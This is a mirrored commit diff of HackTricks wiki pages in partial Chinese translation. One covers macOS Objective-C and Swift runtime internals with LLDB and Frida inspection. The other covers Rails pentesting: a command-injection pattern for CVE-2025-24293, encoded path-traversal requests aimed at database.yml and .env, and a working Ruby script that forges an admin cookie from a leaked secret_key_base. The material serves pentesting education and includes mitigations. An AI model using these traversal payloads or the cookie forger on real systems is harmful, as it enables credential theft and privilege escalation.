mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
		
							parent
							
								
									8c4bb94585
								
							
						
					
					
						commit
						1873998a64
					
				@ -4,9 +4,9 @@
 | 
			
		||||
 | 
			
		||||
## CFRuntimeClass
 | 
			
		||||
 | 
			
		||||
CF\* 对象来自 CoreFoundation,它提供了超过 50 种对象类,如 `CFString`、`CFNumber` 或 `CFAllocator`。
 | 
			
		||||
CF* 对象来自 CoreFoundation,后者提供了超过 50 种对象类,例如 `CFString`、`CFNumber` 或 `CFAllocator`。
 | 
			
		||||
 | 
			
		||||
所有这些类都是 `CFRuntimeClass` 类的实例,当调用时,它返回一个指向 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
 | 
			
		||||
所有这些类都是类 `CFRuntimeClass` 的实例,其在被调用时会返回 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
 | 
			
		||||
```objectivec
 | 
			
		||||
// Some comments were added to the original code
 | 
			
		||||
 | 
			
		||||
@ -55,49 +55,60 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
 | 
			
		||||
```
 | 
			
		||||
## Objective-C
 | 
			
		||||
 | 
			
		||||
### 内存使用的部分
 | 
			
		||||
### Memory sections used
 | 
			
		||||
 | 
			
		||||
大多数由 ObjectiveC 运行时使用的数据在执行期间会发生变化,因此它使用内存中的一些 **\_\_DATA** 段:
 | 
			
		||||
Most of the data used by Objective‑C runtime will change during execution, therefore it uses a number of sections from the Mach‑O `__DATA` family of segments in memory. Historically these included:
 | 
			
		||||
 | 
			
		||||
- **`__objc_msgrefs`** (`message_ref_t`): 消息引用
 | 
			
		||||
- **`__objc_ivar`** (`ivar`): 实例变量
 | 
			
		||||
- **`__objc_data`** (`...`): 可变数据
 | 
			
		||||
- **`__objc_classrefs`** (`Class`): 类引用
 | 
			
		||||
- **`__objc_superrefs`** (`Class`): 超类引用
 | 
			
		||||
- **`__objc_protorefs`** (`protocol_t *`): 协议引用
 | 
			
		||||
- **`__objc_selrefs`** (`SEL`): 选择器引用
 | 
			
		||||
- **`__objc_const`** (`...`): 类 `r/o` 数据和其他(希望是)常量数据
 | 
			
		||||
- **`__objc_imageinfo`** (`version, flags`): 在图像加载期间使用:当前版本 `0`;标志指定预优化的 GC 支持等。
 | 
			
		||||
- **`__objc_protolist`** (`protocol_t *`): 协议列表
 | 
			
		||||
- **`__objc_nlcatlist`** (`category_t`): 指向此二进制文件中定义的非延迟类别的指针
 | 
			
		||||
- **`__objc_catlist`** (`category_t`): 指向此二进制文件中定义的类别的指针
 | 
			
		||||
- **`__objc_nlclslist`** (`classref_t`): 指向此二进制文件中定义的非延迟 Objective-C 类的指针
 | 
			
		||||
- **`__objc_classlist`** (`classref_t`): 指向此二进制文件中定义的所有 Objective-C 类的指针
 | 
			
		||||
- `__objc_msgrefs` (`message_ref_t`): 消息引用
 | 
			
		||||
- `__objc_ivar` (`ivar`): 实例变量
 | 
			
		||||
- `__objc_data` (`...`): 可变数据
 | 
			
		||||
- `__objc_classrefs` (`Class`): 类引用
 | 
			
		||||
- `__objc_superrefs` (`Class`): 超类引用
 | 
			
		||||
- `__objc_protorefs` (`protocol_t *`): 协议引用
 | 
			
		||||
- `__objc_selrefs` (`SEL`): selector 引用
 | 
			
		||||
- `__objc_const` (`...`): 类只读数据和其他(希望是)常量数据
 | 
			
		||||
- `__objc_imageinfo` (`version, flags`): 在镜像加载期间使用:当前 Version 为 `0`;Flags 指定预优化的 GC 支持等
 | 
			
		||||
- `__objc_protolist` (`protocol_t *`): 协议列表
 | 
			
		||||
- `__objc_nlcatlist` (`category_t`): 指向此二进制中定义的 Non-Lazy Categories 的指针
 | 
			
		||||
- `__objc_catlist` (`category_t`): 指向此二进制中定义的 Categories 的指针
 | 
			
		||||
- `__objc_nlclslist` (`classref_t`): 指向此二进制中定义的 Non-Lazy Objective‑C classes 的指针
 | 
			
		||||
- `__objc_classlist` (`classref_t`): 指向此二进制中定义的所有 Objective‑C classes 的指针
 | 
			
		||||
 | 
			
		||||
它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分写入:
 | 
			
		||||
它还使用 `__TEXT` 段中的几个节来存储常量:
 | 
			
		||||
 | 
			
		||||
- **`__objc_methname`** (C-String): 方法名称
 | 
			
		||||
- **`__objc_classname`** (C-String): 类名称
 | 
			
		||||
- **`__objc_methtype`** (C-String): 方法类型
 | 
			
		||||
- `__objc_methname` (C‑String): 方法名
 | 
			
		||||
- `__objc_classname` (C‑String): 类名
 | 
			
		||||
- `__objc_methtype` (C‑String): 方法类型
 | 
			
		||||
 | 
			
		||||
### 类型编码
 | 
			
		||||
现代 macOS/iOS(尤其是 Apple Silicon 上)还将 Objective‑C/Swift 元数据放在:
 | 
			
		||||
 | 
			
		||||
Objective-C 使用一些混淆来编码简单和复杂类型的选择器和变量类型:
 | 
			
		||||
- `__DATA_CONST`: 不可变的 Objective‑C 元数据,可以跨进程以只读方式共享(例如许多 `__objc_*` 列表现在存放在这里)。
 | 
			
		||||
- `__AUTH` / `__AUTH_CONST`: 包含在 arm64e 上于加载或使用时必须进行认证的指针(Pointer Authentication)的段。你还会在 `__AUTH_CONST` 中看到 `__auth_got`,而不是仅有的传统 `__la_symbol_ptr`/`__got`。在进行 instrumenting 或 hooking 时,记得要同时考虑现代二进制中的 `__got` 和 `__auth_got` 条目。
 | 
			
		||||
 | 
			
		||||
- 原始类型使用其类型的首字母 `i` 表示 `int`,`c` 表示 `char`,`l` 表示 `long`... 并在无符号的情况下使用大写字母(`L` 表示 `unsigned Long`)。
 | 
			
		||||
- 其他字母被使用或是特殊的数据类型,使用其他字母或符号,如 `q` 表示 `long long`,`b` 表示 `bitfields`,`B` 表示 `booleans`,`#` 表示 `classes`,`@` 表示 `id`,`*` 表示 `char pointers`,`^` 表示通用 `pointers` 和 `?` 表示 `undefined`。
 | 
			
		||||
- 数组、结构和联合使用 `[`, `{` 和 `(`
 | 
			
		||||
For background on dyld pre‑optimization (e.g., selector uniquing and class/protocol precomputation) and why many of these sections are "already fixed up" when coming from the shared cache, check the Apple `objc-opt` sources and dyld shared cache notes. This affects where and how you can patch metadata at runtime.
 | 
			
		||||
 | 
			
		||||
#### 示例方法声明
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Type Encoding
 | 
			
		||||
 | 
			
		||||
Objective‑C uses mangling to encode selector and variable types of simple and complex types:
 | 
			
		||||
 | 
			
		||||
- Primitive types use their first letter of the type `i` for `int`, `c` for `char`, `l` for `long`... and use the capital letter in case it's unsigned (`L` for `unsigned long`).
 | 
			
		||||
- Other data types use other letters or symbols like `q` for `long long`, `b` for 位域, `B` for 布尔值, `#` for 类, `@` for `id`, `*` for `char *`, `^` for 通用指针 and `?` for undefined.
 | 
			
		||||
- Arrays, structures and unions use `[`, `{` and `(` respectively.
 | 
			
		||||
 | 
			
		||||
#### Example Method Declaration
 | 
			
		||||
```objectivec
 | 
			
		||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
 | 
			
		||||
```
 | 
			
		||||
选择器将是 `processString:withOptions:andError:`
 | 
			
		||||
selector 将会是 `processString:withOptions:andError:`
 | 
			
		||||
 | 
			
		||||
#### 类型编码
 | 
			
		||||
 | 
			
		||||
- `id` 编码为 `@`
 | 
			
		||||
- `char *` 编码为 `*`
 | 
			
		||||
- `id` 被编码为 `@`
 | 
			
		||||
- `char *` 被编码为 `*`
 | 
			
		||||
 | 
			
		||||
该方法的完整类型编码为:
 | 
			
		||||
```less
 | 
			
		||||
@ -105,18 +116,18 @@ Objective-C 使用一些混淆来编码简单和复杂类型的选择器和变
 | 
			
		||||
```
 | 
			
		||||
#### 详细分解
 | 
			
		||||
 | 
			
		||||
1. **返回类型 (`NSString *`)**: 编码为 `@`,长度为 24
 | 
			
		||||
2. **`self` (对象实例)**: 编码为 `@`,偏移量为 0
 | 
			
		||||
3. **`_cmd` (选择器)**: 编码为 `:`,偏移量为 8
 | 
			
		||||
4. **第一个参数 (`char * input`)**: 编码为 `*`,偏移量为 16
 | 
			
		||||
5. **第二个参数 (`NSDictionary * options`)**: 编码为 `@`,偏移量为 20
 | 
			
		||||
6. **第三个参数 (`NSError ** error`)**: 编码为 `^@`,偏移量为 24
 | 
			
		||||
1. 返回类型 (`NSString *`):编码为 `@`,长度为 24
 | 
			
		||||
2. `self`(对象实例):编码为 `@`,偏移量为 0
 | 
			
		||||
3. `_cmd`(选择子):编码为 `:`,偏移量为 8
 | 
			
		||||
4. 第一个参数 (`char * input`):编码为 `*`,偏移量为 16
 | 
			
		||||
5. 第二个参数 (`NSDictionary * options`):编码为 `@`,偏移量为 20
 | 
			
		||||
6. 第三个参数 (`NSError ** error`):编码为 `^@`,偏移量为 24
 | 
			
		||||
 | 
			
		||||
**通过选择器和编码,你可以重建该方法。**
 | 
			
		||||
通过选择子和编码,你可以重建该方法。
 | 
			
		||||
 | 
			
		||||
### **类**
 | 
			
		||||
### 类
 | 
			
		||||
 | 
			
		||||
Objective-C 中的类是一个具有属性、方法指针的结构体... 可以在 [**源代码**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) 中找到结构体 `objc_class`:
 | 
			
		||||
Objective‑C 中的类是具有属性、方法指针等的 C 结构体。可以在 [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) 中找到 struct `objc_class`:
 | 
			
		||||
```objectivec
 | 
			
		||||
struct objc_class : objc_object {
 | 
			
		||||
// Class ISA;
 | 
			
		||||
@ -137,9 +148,114 @@ data()->setFlags(set);
 | 
			
		||||
}
 | 
			
		||||
[...]
 | 
			
		||||
```
 | 
			
		||||
这个类使用 isa 字段的一些位来指示有关该类的信息。
 | 
			
		||||
这个类使用 `isa` 字段的一些位来表示关于类的信息。
 | 
			
		||||
 | 
			
		||||
然后,结构体有一个指向存储在磁盘上的 `class_ro_t` 结构体的指针,该结构体包含类的属性,如其名称、基本方法、属性和实例变量。\
 | 
			
		||||
在运行时,使用一个额外的结构体 `class_rw_t`,其中包含可以被更改的指针,例如方法、协议、属性... 
 | 
			
		||||
然后,该 struct 有一个指向存储在磁盘上的 `class_ro_t` 结构的指针,后者包含类的属性,例如名称、base methods、properties 和实例变量。在运行时,还会使用一个额外的 `class_rw_t` 结构来保存可被修改的指针,例如 methods、protocols、properties。
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../macos-basic-objective-c.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 内存中的现代对象表示 (arm64e, tagged pointers, Swift)
 | 
			
		||||
 | 
			
		||||
### 非指针 `isa` 与指针认证 (arm64e)
 | 
			
		||||
 | 
			
		||||
在 Apple Silicon 和较新的运行时中,Objective‑C 的 `isa` 并不总是一个原始的类指针。在 arm64e 上,它是一个打包结构,可能还携带 Pointer Authentication Code (PAC)。根据平台不同,它可能包含诸如 `nonpointer`、`has_assoc`、`weakly_referenced`、`extra_rc` 等字段,以及类指针本身(可能被移位或带符号)。这意味着盲目地解引用 Objective‑C 对象的前 8 个字节并不总能得到有效的 `Class` 指针。
 | 
			
		||||
 | 
			
		||||
在 arm64e 上调试时的实用注意事项:
 | 
			
		||||
 | 
			
		||||
- LLDB 在使用 `po` 打印 Objective‑C 对象时通常会为你去除 PAC 位,但在处理原始指针时可能需要手动去除认证:
 | 
			
		||||
 | 
			
		||||
```lldb
 | 
			
		||||
(lldb) expr -l objc++ -- #include <ptrauth.h>
 | 
			
		||||
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
 | 
			
		||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- Mach‑O 中的许多函数/数据指针会位于 `__AUTH`/`__AUTH_CONST`,在使用前需要进行认证。如果你在进行 interposing 或 re‑binding(例如 fishhook‑style),请确保除了传统的 `__got` 之外也处理 `__auth_got`。
 | 
			
		||||
 | 
			
		||||
有关语言/ABI 保证以及 Clang/LLVM 提供的 `<ptrauth.h>` intrinsics 的深入解析,请参见本页末尾的参考资料。
 | 
			
		||||
 | 
			
		||||
### Tagged pointer 对象
 | 
			
		||||
 | 
			
		||||
一些 Foundation 类通过将对象的有效载荷直接编码在指针值中来避免堆分配(tagged pointers)。不同平台的检测方式不同(例如在 arm64 上是最高有效位,而在 x86_64 macOS 上是最低有效位)。tagged 对象在内存中没有常规的 `isa`;运行时会通过 tag 位解析类。在检查任意 `id` 值时:
 | 
			
		||||
 | 
			
		||||
- 使用运行时 API,而不是直接探查 `isa` 字段:`object_getClass(obj)` / `[obj class]`。
 | 
			
		||||
- 在 LLDB 中,直接 `po (id)0xADDR` 会正确打印 tagged pointer 实例,因为会咨询运行时以解析类。
 | 
			
		||||
 | 
			
		||||
### Swift 堆对象与元数据
 | 
			
		||||
 | 
			
		||||
纯 Swift 类也是对象,其头部指向 Swift 元数据(而不是 Objective‑C 的 `isa`)。要在不修改进程的情况下检查运行中的 Swift 进程,可以使用 Swift toolchain 的 `swift-inspect`,它利用 Remote Mirror 库来读取运行时元数据:
 | 
			
		||||
```bash
 | 
			
		||||
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
 | 
			
		||||
swift-inspect dump-raw-metadata <pid-or-name>
 | 
			
		||||
swift-inspect dump-arrays <pid-or-name>
 | 
			
		||||
# On Darwin additionally:
 | 
			
		||||
swift-inspect dump-concurrency <pid-or-name>
 | 
			
		||||
```
 | 
			
		||||
在对混合 Swift/ObjC 应用进行逆向时,这对于映射 Swift 堆对象和协议遵从性非常有用。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 运行时检查速查表 (LLDB / Frida)
 | 
			
		||||
 | 
			
		||||
### LLDB
 | 
			
		||||
 | 
			
		||||
- 从原始指针打印对象或类:
 | 
			
		||||
```lldb
 | 
			
		||||
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
 | 
			
		||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
 | 
			
		||||
```
 | 
			
		||||
- 在 breakpoint 中,从指向对象方法的 `self` 的指针检查 Objective‑C class:
 | 
			
		||||
```lldb
 | 
			
		||||
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
 | 
			
		||||
(lldb) r
 | 
			
		||||
... breakpoint hit ...
 | 
			
		||||
(lldb) po (id)$x0                 # self
 | 
			
		||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
 | 
			
		||||
```
 | 
			
		||||
- 转储携带 Objective‑C 元数据的节(注意:许多现在位于 `__DATA_CONST` / `__AUTH_CONST`):
 | 
			
		||||
```lldb
 | 
			
		||||
(lldb) image dump section --section __DATA_CONST.__objc_classlist
 | 
			
		||||
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
 | 
			
		||||
(lldb) image dump section --section __AUTH_CONST.__auth_got
 | 
			
		||||
```
 | 
			
		||||
- 读取已知类对象的内存以在反向工程方法列表时转向 `class_ro_t` / `class_rw_t`:
 | 
			
		||||
```lldb
 | 
			
		||||
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
 | 
			
		||||
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
 | 
			
		||||
```
 | 
			
		||||
### Frida (Objective‑C and Swift)
 | 
			
		||||
 | 
			
		||||
Frida 提供高级的运行时桥接,非常适合在没有符号的情况下发现并对实时对象进行插桩:
 | 
			
		||||
 | 
			
		||||
- 枚举类和方法,在运行时解析实际类名,并拦截 Objective‑C 选择器:
 | 
			
		||||
```js
 | 
			
		||||
if (ObjC.available) {
 | 
			
		||||
// List a class' methods
 | 
			
		||||
console.log(ObjC.classes.NSFileManager.$ownMethods);
 | 
			
		||||
 | 
			
		||||
// Intercept and inspect arguments/return values
 | 
			
		||||
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
 | 
			
		||||
Interceptor.attach(impl, {
 | 
			
		||||
onEnter(args) {
 | 
			
		||||
this.path = new ObjC.Object(args[2]).toString();
 | 
			
		||||
},
 | 
			
		||||
onLeave(retval) {
 | 
			
		||||
console.log('fileExistsAtPath:', this.path, '=>', retval);
 | 
			
		||||
}
 | 
			
		||||
});
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
- Swift bridge: 枚举 Swift 类型并与 Swift 实例交互(需要较新的 Frida;在 Apple Silicon 目标上非常有用)。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
 | 
			
		||||
- Clang/LLVM: Pointer Authentication and the `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
 | 
			
		||||
- Apple objc 运行时头文件(tagged pointers、non‑pointer `isa` 等),例如 `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,8 +2,99 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## 文件上传到 RCE
 | 
			
		||||
## File upload to RCE
 | 
			
		||||
 | 
			
		||||
正如在 [这篇文章](https://www.offsec.com/blog/cve-2024-46986/) 中所解释的,将 `.rb` 文件上传到敏感目录,如 `config/initializers/`,可能导致 Ruby on Rails 应用程序中的远程代码执行 (RCE)。
 | 
			
		||||
如 [this article](https://www.offsec.com/blog/cve-2024-46986/) 所述,将 `.rb` 文件上传到诸如 `config/initializers/` 的敏感目录可能导致 Ruby on Rails 应用发生远程代码执行 (RCE)。
 | 
			
		||||
 | 
			
		||||
提示:
 | 
			
		||||
- 其他在应用启动时执行的 boot/eager-load 位置在可写时也存在风险(例如,`config/initializers/` 是经典位置)。如果你发现任意文件上传落到 `config/` 下的任意位置并随后被评估/require,可能会在启动时获得 RCE。
 | 
			
		||||
- 寻找将用户控制的文件复制到容器镜像中并在 Rails 启动时加载的 dev/staging 构建。
 | 
			
		||||
 | 
			
		||||
## Active Storage image transformation → command execution (CVE-2025-24293)
 | 
			
		||||
 | 
			
		||||
当应用使用 Active Storage 且同时使用 `image_processing` + `mini_magick`,并将不受信任的参数传递给图像转换方法时,Rails 7.1.5.2 之前 / 7.2.2.2 之前 / 8.0.2.1 之前的版本可能允许命令注入,因为某些转换方法被错误地默认允许。
 | 
			
		||||
 | 
			
		||||
- A vulnerable pattern looks like:
 | 
			
		||||
```erb
 | 
			
		||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
 | 
			
		||||
```
 | 
			
		||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
 | 
			
		||||
 | 
			
		||||
- 测试时可尝试
 | 
			
		||||
- 识别任何接受 variant/processing 选项、转换名称或任意 ImageMagick 参数的端点。
 | 
			
		||||
- 对 `params[:t]` 和 `params[:v]` 进行模糊测试,观察可疑错误或执行副作用。如果你能影响方法名或传递原始参数到 MiniMagick,可能在图像处理主机上获得代码执行。
 | 
			
		||||
- 如果你只有对生成的 variants 的只读访问,尝试通过精心构造的 ImageMagick 操作进行盲提取。
 | 
			
		||||
 | 
			
		||||
- 修复/检测
 | 
			
		||||
- 如果你看到 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 并且同时使用 Active Storage + `image_processing` + `mini_magick` 且存在用户可控的转换,则应视为可利用。建议升级并对方法/参数实施严格白名单以及强化的 ImageMagick 策略。
 | 
			
		||||
 | 
			
		||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
 | 
			
		||||
 | 
			
		||||
如果目标栈直接或通过框架使用 Rack middleware,`rack` 在 2.2.13、3.0.14、3.1.12 之前的版本在 `:root` 未设置/配置错误时允许通过 `Rack::Static` 进行本地文件包含。`PATH_INFO` 中的编码遍历可以暴露进程工作目录或意外的根目录下的文件。
 | 
			
		||||
 | 
			
		||||
- 搜索在 `config.ru` 或 middleware 栈中挂载 `Rack::Static` 的应用。对静态路径尝试编码遍历,例如:
 | 
			
		||||
```text
 | 
			
		||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
 | 
			
		||||
GET /favicon.ico/..%2f..%2f.env
 | 
			
		||||
```
 | 
			
		||||
调整前缀以匹配配置的 `urls:`。如果应用返回文件内容,说明你很可能对已解析的 `:root` 下的任何内容具有 LFI。
 | 
			
		||||
 | 
			
		||||
- 缓解:升级 Rack;确保 `:root` 仅指向公共文件目录并显式设置。
 | 
			
		||||
 | 
			
		||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
 | 
			
		||||
 | 
			
		||||
Rails 使用从 `secret_key_base` 派生的密钥对 cookies 进行加密和签名。如果该值 leaked(例如,在仓库、日志或配置错误的凭证中),通常可以解密、修改并重新加密 cookies。这通常会导致如果应用将角色、用户 ID 或功能标志存储在 cookies 中的授权绕过。
 | 
			
		||||
 | 
			
		||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
 | 
			
		||||
```ruby
 | 
			
		||||
require 'cgi'
 | 
			
		||||
require 'json'
 | 
			
		||||
require 'active_support'
 | 
			
		||||
require 'active_support/message_encryptor'
 | 
			
		||||
require 'active_support/key_generator'
 | 
			
		||||
 | 
			
		||||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
 | 
			
		||||
raw_cookie = CGI.unescape(ARGV[0])
 | 
			
		||||
 | 
			
		||||
salt   = 'authenticated encrypted cookie'
 | 
			
		||||
cipher = 'aes-256-gcm'
 | 
			
		||||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
 | 
			
		||||
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
 | 
			
		||||
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
 | 
			
		||||
 | 
			
		||||
plain = enc.decrypt_and_verify(raw_cookie)
 | 
			
		||||
puts "Decrypted: #{plain.inspect}"
 | 
			
		||||
 | 
			
		||||
# Modify and re-encrypt (example: escalate role)
 | 
			
		||||
plain['role'] = 'admin' if plain.is_a?(Hash)
 | 
			
		||||
forged = enc.encrypt_and_sign(plain)
 | 
			
		||||
puts "Forged cookie: #{CGI.escape(forged)}"
 | 
			
		||||
```
 | 
			
		||||
注意:
 | 
			
		||||
- 较旧的应用可能使用 AES-256-CBC 并以 `encrypted cookie` / `signed encrypted cookie` 作为 salts,或使用 JSON/Marshal 序列化器。请相应地调整 salts、cipher 和 serializer。
 | 
			
		||||
- 在被攻破/评估时,轮换 `secret_key_base` 以使所有现有 cookies 失效。
 | 
			
		||||
 | 
			
		||||
## 另请参阅(Ruby/Rails 特定漏洞)
 | 
			
		||||
 | 
			
		||||
- Ruby 反序列化与类污染:
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/deserialization/README.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/deserialization/ruby-class-pollution.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/deserialization/ruby-_json-pollution.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
- Ruby 引擎中的模板注入(ERB/Haml/Slim 等):
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../pentesting-web/ssti-server-side-template-injection/README.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
 | 
			
		||||
- Rails 安全公告:CVE-2025-24293 Active Storage 不安全的转换方法(已在 7.1.5.2 / 7.2.2.2 / 8.0.2.1 修复)。 https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 | 
			
		||||
- GitHub Advisory: Rack::Static 本地文件包含 (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user